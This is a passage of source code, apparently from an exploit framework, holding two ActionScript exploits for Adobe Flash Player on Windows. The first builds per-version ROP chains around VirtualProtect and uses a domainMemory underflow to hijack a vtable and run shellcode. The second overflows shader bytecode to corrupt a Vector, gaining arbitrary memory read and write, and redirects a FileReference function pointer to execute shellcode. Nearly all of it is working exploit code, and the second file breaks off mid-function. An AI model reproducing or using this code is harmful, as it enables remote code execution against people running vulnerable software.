|
payload.writeUnsignedInt((vftableAddr_copy + 5107604));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5747979));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,5,502,110":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 11716376);
|
||||||
|
_local_5 = (vftableAddr_copy + 0xEC6000);
|
||||||
|
payload.position = 20;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 9813154));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 448623));
|
||||||
|
payload.position = 96;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 9326463));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5731300));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 8910259));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 8630687));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,5,502,135":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 11716400);
|
||||||
|
_local_5 = (vftableAddr_copy + 0xEC6000);
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 1101327));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4733912));
|
||||||
|
payload.position = 76;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4540));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 28862));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 512197));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 1560889));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,5,502,146":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 11716320);
|
||||||
|
_local_5 = (vftableAddr_copy + 0xEC6000);
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 1101327));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4733912));
|
||||||
|
payload.position = 76;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4540));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 28862));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 512197));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 1560889));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,5,502,149":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 11712240);
|
||||||
|
_local_5 = (vftableAddr_copy + 0xEC6000);
|
||||||
|
payload.position = 5;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 10373824));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4331881));
|
||||||
|
payload.position = 77;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 9292830));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5731956));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 7150772));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 3344264));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,6,602,168":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 11825816);
|
||||||
|
_local_5 = (vftableAddr_copy + 0xEE9000);
|
||||||
|
payload.position = 5;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 9924439));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4370139));
|
||||||
|
payload.position = 77;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 9564155));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 10736920));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5830863));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 9044861));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 7984191));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,6,602,171":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 11834040);
|
||||||
|
_local_5 = (vftableAddr_copy + 0xEEA000);
|
||||||
|
payload.position = 5;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 9925589));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4370636));
|
||||||
|
payload.position = 77;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 9564442));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 10741016));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5771380));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 10153408));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 7983199));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,6,602,180":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 11824712);
|
||||||
|
_local_5 = (vftableAddr_copy + 0xEE9000);
|
||||||
|
payload.position = 5;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 9923173));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4368414));
|
||||||
|
payload.position = 77;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 9562061));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 10736920));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5828990));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 9042989));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 8661666));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,7,700,169":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 12902952);
|
||||||
|
_local_5 = (vftableAddr_copy + 16904192);
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 1116239));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 10368763));
|
||||||
|
payload.position = 76;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 2586086));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 11752328));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 32732));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 8192266));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 1578904));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,7,700,202":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 0xc4f508);
|
||||||
|
_local_5 = (vftableAddr_copy + 0x101f000);
|
||||||
|
payload.position = 8;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 0x7dfcd2)); // 107dfcd2 : add esp,44h ; ret
|
||||||
|
payload.position = 0x40;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 0x12a269)); // 1012a269 : xchg edx,esp ; add eax,dword ptr [eax]; add byte ptr [edi+5Eh],bl ; pop ecx ; ret
|
||||||
|
payload.position = 0x50;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 0xcb497)); // 100cb497 : pop eax ; ret
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 0xb35388)); // 10b35388 : ptr to VirtualProtect
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 0x110d3d)); // 10110d3d : mov eax,dword ptr [eax] ; ret
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 0x887362)); // 10887362 : push eax ; ret
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 0x331bff)); // 10331bff : jmp esp
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(0x40);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,8,800,97":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 129165844);
|
||||||
|
_local_5 = (vftableAddr_copy + 16904192);
|
||||||
|
payload.position = 8;
|
||||||
|
payload.writeUnsignedInt(vftableAddr_copy);
|
||||||
|
payload.position = 16;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 117625919));
|
||||||
|
payload.writeUnsignedInt(-1810746282);
|
||||||
|
payload.writeUnsignedInt((scAddr + 76));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 122565891));
|
||||||
|
payload.position = 44;
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 0x0400));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 123362382));
|
||||||
|
payload.position = 80;
|
||||||
|
payload.writeUnsignedInt((scAddr + 192));
|
||||||
|
payload.position = 112;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 32365));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 11760520));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 1117213));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 3721232));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 8274178));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,8,800,50":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 12936000);
|
||||||
|
_local_5 = (vftableAddr_copy + 17149952);
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 404531));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 2583617));
|
||||||
|
payload.position = 72;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 7914140));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4550));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 11780992));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 32684));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 142358));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 1577816));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
return (null);
|
||||||
|
};
|
||||||
|
return (payload);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function exploit():Boolean
|
||||||
|
{
|
||||||
|
var vector_objects_entry_length:int;
|
||||||
|
var shellcode_byte = null;
|
||||||
|
var _local_6:uint;
|
||||||
|
var i:int;
|
||||||
|
var vftable_addr:uint;
|
||||||
|
var shellcode_address:uint;
|
||||||
|
var vector_objects_entry_idx:uint;
|
||||||
|
var length_vector_byte_arrays:uint;
|
||||||
|
var vector_byte_arrays:Vector.<ByteArray> = new Vector.<ByteArray>(0);
|
||||||
|
var vector_objects:Vector.<Object> = new Vector.<Object>(0);
|
||||||
|
var twos_object:Object = new <Object>[2, 2, 2, 2, 2, 2, 2, 2];
|
||||||
|
var vickers_byte_array:ByteArray = new ByteArray();
|
||||||
|
while (i < 0x0500)
|
||||||
|
{
|
||||||
|
vector_byte_arrays[i] = new ByteArray();
|
||||||
|
vector_byte_arrays[i].length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
|
||||||
|
i++;
|
||||||
|
};
|
||||||
|
vickers_byte_array.writeUTFBytes("vickers");
|
||||||
|
vickers_byte_array.length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
|
||||||
|
ApplicationDomain.currentDomain.domainMemory = vickers_byte_array;
|
||||||
|
vector_byte_arrays[i] = new ByteArray();
|
||||||
|
vector_byte_arrays[i].length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
|
||||||
|
length_vector_byte_arrays = i;
|
||||||
|
i = 0;
|
||||||
|
while (i < (vector_byte_arrays.length - 1))
|
||||||
|
{
|
||||||
|
vector_byte_arrays[i++] = null;
|
||||||
|
};
|
||||||
|
i = 0;
|
||||||
|
while (i < 0x8000)
|
||||||
|
{
|
||||||
|
vector_objects[i] = new <Object>[i, twos_object, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1];
|
||||||
|
i++;
|
||||||
|
};
|
||||||
|
// _local_6 => nil => 0, makes li32(_local_6 - offset) makes it underflow!
|
||||||
|
// Example leak: 0275ef00 => 10c4f508 0000003b 00002326
|
||||||
|
if (((!((li16((_local_6 + 1)) == 114))) && (((vftable_addr = li32((_local_6 - 0x0100)) ) == 305419896))))
|
||||||
|
{
|
||||||
|
};
|
||||||
|
if (((!((li16((_local_6 + 1)) == 114))) && (((vector_objects_entry_idx = li32((_local_6 - 248)) ) == 305419896))))
|
||||||
|
{
|
||||||
|
};
|
||||||
|
vector_objects_entry_idx = (vector_objects_entry_idx >> 3);
|
||||||
|
if (((!((li16((_local_6 + 1)) == 114))) && (((vector_objects_entry_length = li32((_local_6 - 252)) ) == 305419896))))
|
||||||
|
{
|
||||||
|
};
|
||||||
|
|
||||||
|
// No success
|
||||||
|
if (vector_objects_entry_length != vector_objects[vector_objects_entry_idx].length)
|
||||||
|
{
|
||||||
|
vickers_byte_array = null;
|
||||||
|
vector_byte_arrays[length_vector_byte_arrays] = null;
|
||||||
|
i = 0;
|
||||||
|
while (i < vector_objects.length)
|
||||||
|
{
|
||||||
|
vector_objects[i++] = null;
|
||||||
|
};
|
||||||
|
return (false);
|
||||||
|
};
|
||||||
|
|
||||||
|
i = 0;
|
||||||
|
while (i < vector_objects.length)
|
||||||
|
{
|
||||||
|
if (i != vector_objects_entry_idx)
|
||||||
|
{
|
||||||
|
vector_objects[i] = null;
|
||||||
|
};
|
||||||
|
i++;
|
||||||
|
};
|
||||||
|
// Use underflow to leak shellcode address
|
||||||
|
if (((!((li16((_local_6 + 1)) == 114))) && (((shellcode_address = li32((_local_6 - 0x0200)) ) == 305419896))))
|
||||||
|
{
|
||||||
|
};
|
||||||
|
shellcode_address = (shellcode_address + 0x1300);
|
||||||
|
var rop_payload:ByteArray = makePayload(vftable_addr, shellcode_address);
|
||||||
|
if (rop_payload == null)
|
||||||
|
{
|
||||||
|
return (true);
|
||||||
|
};
|
||||||
|
var j:uint;
|
||||||
|
var shellcode_length:uint = shellcode.length;
|
||||||
|
var shellcode_byte_array:ByteArray = new ByteArray();
|
||||||
|
shellcode_byte_array.endian = "littleEndian";
|
||||||
|
while (j < shellcode_length)
|
||||||
|
{
|
||||||
|
shellcode_byte = (shellcode.charAt(j) + shellcode.charAt((j + 1)));
|
||||||
|
shellcode_byte_array.writeByte(parseInt(shellcode_byte, 16));
|
||||||
|
j = (j + 2);
|
||||||
|
};
|
||||||
|
vector_byte_arrays[length_vector_byte_arrays].position = 0;
|
||||||
|
vector_byte_arrays[length_vector_byte_arrays].endian = "littleEndian";
|
||||||
|
vector_byte_arrays[length_vector_byte_arrays].writeBytes(rop_payload);
|
||||||
|
vector_byte_arrays[length_vector_byte_arrays].writeBytes(shellcode_byte_array);
|
||||||
|
// Use underflow to overwrite and get code execution
|
||||||
|
if (li16((_local_6 + 1)) != 114)
|
||||||
|
{
|
||||||
|
si32((shellcode_address + 1), (_local_6 - 244));
|
||||||
|
};
|
||||||
|
vector_objects[vector_objects_entry_idx][1][0];
|
||||||
|
return (true);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
}//package
|
|
@ -0,0 +1,411 @@
|
||||||
|
//compile with AIR SDK 13.0: mxmlc Graph.as -o Graph.swf
|
||||||
|
package {
|
||||||
|
import flash.display.Sprite;
|
||||||
|
import flash.utils.ByteArray;
|
||||||
|
import flash.display.Shader;
|
||||||
|
import flash.system.Capabilities;
|
||||||
|
import flash.net.FileReference;
|
||||||
|
import flash.utils.Endian;
|
||||||
|
import __AS3__.vec.Vector;
|
||||||
|
import __AS3__.vec.*;
|
||||||
|
import flash.display.LoaderInfo;
|
||||||
|
|
||||||
|
public class Graph extends Sprite {
|
||||||
|
|
||||||
|
static var counter:uint = 0;
|
||||||
|
|
||||||
|
protected var Shad:Class;
|
||||||
|
var shellcode_byte_array:ByteArray;
|
||||||
|
var aaab:ByteArray;
|
||||||
|
var shellcodeObj:Array;
|
||||||
|
|
||||||
|
public function Graph(){
|
||||||
|
var tweaked_vector:* = undefined;
|
||||||
|
var tweaked_vector_address:* = undefined;
|
||||||
|
var shader:Shader;
|
||||||
|
var flash_memory_protect:Array;
|
||||||
|
var code_vectors:Array;
|
||||||
|
var address_code_vector:uint;
|
||||||
|
var address_shellcode_byte_array:uint;
|
||||||
|
this.Shad = Graph_Shad;
|
||||||
|
super();
|
||||||
|
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(",");
|
||||||
|
var i:* = 0;
|
||||||
|
var j:* = 0;
|
||||||
|
|
||||||
|
// Just one try
|
||||||
|
counter++;
|
||||||
|
if (counter > 1)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Memory massage
|
||||||
|
var array_length:uint = 0x10000;
|
||||||
|
var vector_size:uint = 34;
|
||||||
|
var array:Array = new Array();
|
||||||
|
i = 0;
|
||||||
|
while (i < array_length)
|
||||||
|
{
|
||||||
|
array[i] = new Vector.<int>(1);
|
||||||
|
i++;
|
||||||
|
};
|
||||||
|
i = 0;
|
||||||
|
while (i < array_length)
|
||||||
|
{
|
||||||
|
array[i] = new Vector.<int>(vector_size);
|
||||||
|
i++;
|
||||||
|
};
|
||||||
|
i = 0;
|
||||||
|
while (i < array_length)
|
||||||
|
{
|
||||||
|
array[i].length = 0;
|
||||||
|
i++;
|
||||||
|
};
|
||||||
|
i = 0x0200;
|
||||||
|
while (i < array_length)
|
||||||
|
{
|
||||||
|
array[(i - (2 * (j % 2)))].length = 0x0100;
|
||||||
|
i = (i + 28);
|
||||||
|
j++;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Overflow and Search for corrupted vector
|
||||||
|
var corrupted_vector_idx:uint;
|
||||||
|
var shadba:ByteArray = (new this.Shad() as ByteArray);
|
||||||
|
shadba.position = 232;
|
||||||
|
if (Capabilities.os.indexOf("Windows 8") >= 0)
|
||||||
|
{
|
||||||
|
shadba.writeUnsignedInt(2472);
|
||||||
|
};
|
||||||
|
shadba.position = 0;
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
shader = new Shader();
|
||||||
|
try
|
||||||
|
{
|
||||||
|
shader.byteCode = (new this.Shad() as ByteArray);
|
||||||
|
} catch(e)
|
||||||
|
{
|
||||||
|
};
|
||||||
|
i = 0;
|
||||||
|
while (i < array_length)
|
||||||
|
{
|
||||||
|
if (array[i].length > 0x0100)
|
||||||
|
{
|
||||||
|
corrupted_vector_idx = i;
|
||||||
|
break;
|
||||||
|
};
|
||||||
|
i++;
|
||||||
|
};
|
||||||
|
if (i != array_length)
|
||||||
|
{
|
||||||
|
if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break;
|
||||||
|
};
|
||||||
|
array.push(new Vector.<int>(vector_size));
|
||||||
|
};
|
||||||
|
|
||||||
|
// Tweak the vector following the corrupted one
|
||||||
|
array[corrupted_vector_idx][vector_size] = 0x40000001;
|
||||||
|
tweaked_vector = array[(corrupted_vector_idx + 1)];
|
||||||
|
|
||||||
|
// repair the corrupted vector by restoring its
|
||||||
|
// vector object pointer and length
|
||||||
|
var vector_obj_addr:* = tweaked_vector[0x3fffffff];
|
||||||
|
tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr;
|
||||||
|
tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size;
|
||||||
|
i = 0;
|
||||||
|
var val:uint;
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
val = tweaked_vector[(0x40000000 - i)];
|
||||||
|
if (val == 0x90001B) break;
|
||||||
|
i++;
|
||||||
|
};
|
||||||
|
tweaked_vector_address = 0;
|
||||||
|
if (tweaked_vector[((0x40000000 - i) - 4)] > 0)
|
||||||
|
{
|
||||||
|
tweaked_vector[4] = 0x41414141;
|
||||||
|
tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8);
|
||||||
|
};
|
||||||
|
|
||||||
|
// More memory massage, fill an array of FileReference objects
|
||||||
|
var file_reference_array:Array = new Array();
|
||||||
|
i = 0;
|
||||||
|
while (i < 64)
|
||||||
|
{
|
||||||
|
file_reference_array[i] = new FileReference();
|
||||||
|
i++;
|
||||||
|
};
|
||||||
|
|
||||||
|
var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address);
|
||||||
|
var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20));
|
||||||
|
var do_it:Boolean = true;
|
||||||
|
var memory_protect_ptr:uint;
|
||||||
|
var aaaq:uint;
|
||||||
|
if (do_it)
|
||||||
|
{
|
||||||
|
flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address);
|
||||||
|
memory_protect_ptr = flash_memory_protect[0];
|
||||||
|
aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment
|
||||||
|
code_vectors = this.createCodeVectors(0x45454545, 0x90909090);
|
||||||
|
address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545);
|
||||||
|
this.fillCodeVectors(code_vectors);
|
||||||
|
tweaked_vector[7] = (memory_protect_ptr + 0); // Flash VirtualProtect call
|
||||||
|
tweaked_vector[4] = aaaq;
|
||||||
|
tweaked_vector[0] = 0x1000; // Length
|
||||||
|
tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address
|
||||||
|
|
||||||
|
// 10255e21 ff5014 call dword ptr [eax+14h] ds:0023:41414155=????????
|
||||||
|
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8));
|
||||||
|
|
||||||
|
// 1) Set memory as executable
|
||||||
|
i = 0;
|
||||||
|
while (i < 64)
|
||||||
|
{
|
||||||
|
file_reference_array[i].cancel();
|
||||||
|
i++;
|
||||||
|
};
|
||||||
|
|
||||||
|
// 2) Execute shellcode
|
||||||
|
tweaked_vector[7] = address_code_vector;
|
||||||
|
i = 0;
|
||||||
|
while (i < 64)
|
||||||
|
{
|
||||||
|
file_reference_array[i].cancel();
|
||||||
|
i++;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Restore FileReference cancel function pointer
|
||||||
|
// Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads
|
||||||
|
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// returns the integer at memory address
|
||||||
|
// vector: vector with tweaked length
|
||||||
|
// vector_address: vector's memory address
|
||||||
|
// address: memory address to read
|
||||||
|
function read_memory(vector:Vector.<int>, vector_address:uint, address:uint):uint{
|
||||||
|
if (address >= vector_address)
|
||||||
|
{
|
||||||
|
return (vector[((address - vector_address) / 4)]);
|
||||||
|
};
|
||||||
|
return (vector[(0x40000000 - ((vector_address - address) / 4))]);
|
||||||
|
}
|
||||||
|
|
||||||
|
function write_memory(vector:Vector.<int>, vector_address:uint, address:uint, value:uint){
|
||||||
|
if (address >= vector_address)
|
||||||
|
{
|
||||||
|
vector[((address - vector_address) / 4)] = value;
|
||||||
|
} else
|
||||||
|
{
|
||||||
|
vector[(0x40000000 - ((vector_address - address) / 4))] = value;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function findFlashMemoryProtect(vector:*, vector_address:*):Array{
|
||||||
|
var content:uint;
|
||||||
|
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
|
||||||
|
var index:uint;
|
||||||
|
var memory_protect_ptr:uint;
|
||||||
|
var _local_6:uint;
|
||||||
|
if (allocation >= vector_address)
|
||||||
|
{
|
||||||
|
index = ((allocation - vector_address) / 4);
|
||||||
|
} else
|
||||||
|
{
|
||||||
|
index = (0x40000000 - ((vector_address - allocation) / 4));
|
||||||
|
};
|
||||||
|
|
||||||
|
//push 1 ; 6a 01
|
||||||
|
//push dword ptr [eax-8] ; ff 70 f8
|
||||||
|
//push dword ptr [eax-4] ; ff 70 fc
|
||||||
|
//call sub_1059DD00 // Will do VirtualProtect
|
||||||
|
var offset:uint;
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
index--;
|
||||||
|
content = vector[index];
|
||||||
|
if (content == 0xfff870ff)
|
||||||
|
{
|
||||||
|
offset = 2;
|
||||||
|
break;
|
||||||
|
};
|
||||||
|
if (content == 0xf870ff01)
|
||||||
|
{
|
||||||
|
offset = 1;
|
||||||
|
break;
|
||||||
|
};
|
||||||
|
if (content == 0x70ff016a)
|
||||||
|
{
|
||||||
|
content = vector[(index + 1)];
|
||||||
|
if (content == 0xfc70fff8)
|
||||||
|
{
|
||||||
|
offset = 0;
|
||||||
|
break;
|
||||||
|
};
|
||||||
|
} else
|
||||||
|
{
|
||||||
|
if (content == 0x70fff870)
|
||||||
|
{
|
||||||
|
offset = 3;
|
||||||
|
break;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
memory_protect_ptr = ((vector_address + (4 * index)) - offset);
|
||||||
|
index--;
|
||||||
|
var content_before:uint = vector[index];
|
||||||
|
|
||||||
|
if (content_before == 0x16a0424)
|
||||||
|
{
|
||||||
|
return ([memory_protect_ptr, _local_6]);
|
||||||
|
};
|
||||||
|
if (content_before == 0x6a042444)
|
||||||
|
{
|
||||||
|
return ([memory_protect_ptr, _local_6]);
|
||||||
|
};
|
||||||
|
if (content_before == 0x424448b)
|
||||||
|
{
|
||||||
|
return ([memory_protect_ptr, _local_6]);
|
||||||
|
};
|
||||||
|
if (content_before == 0xff016a04)
|
||||||
|
{
|
||||||
|
return ([memory_protect_ptr, _local_6]);
|
||||||
|
};
|
||||||
|
_local_6 = (memory_protect_ptr - 6);
|
||||||
|
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
index--;
|
||||||
|
content = vector[index];
|
||||||
|
if (content == 0x850ff50)
|
||||||
|
{
|
||||||
|
if (uint(vector[(index + 1)]) == 0x5e0cc483)
|
||||||
|
{
|
||||||
|
offset = 0;
|
||||||
|
break;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
content = (content & 0xFFFFFF00);
|
||||||
|
if (content == 0x50FF5000)
|
||||||
|
{
|
||||||
|
if (uint(vector[(index + 1)]) == 0xcc48308)
|
||||||
|
{
|
||||||
|
offset = 1;
|
||||||
|
break;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
content = (content & 0xFFFF0000);
|
||||||
|
if (content == 0xFF500000)
|
||||||
|
{
|
||||||
|
if (uint(vector[(index + 1)]) == 0xc4830850)
|
||||||
|
{
|
||||||
|
if (uint(vector[(index + 2)]) == 0xc35d5e0c)
|
||||||
|
{
|
||||||
|
offset = 2;
|
||||||
|
break;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
};
|
||||||
|
content = (content & 0xFF000000);
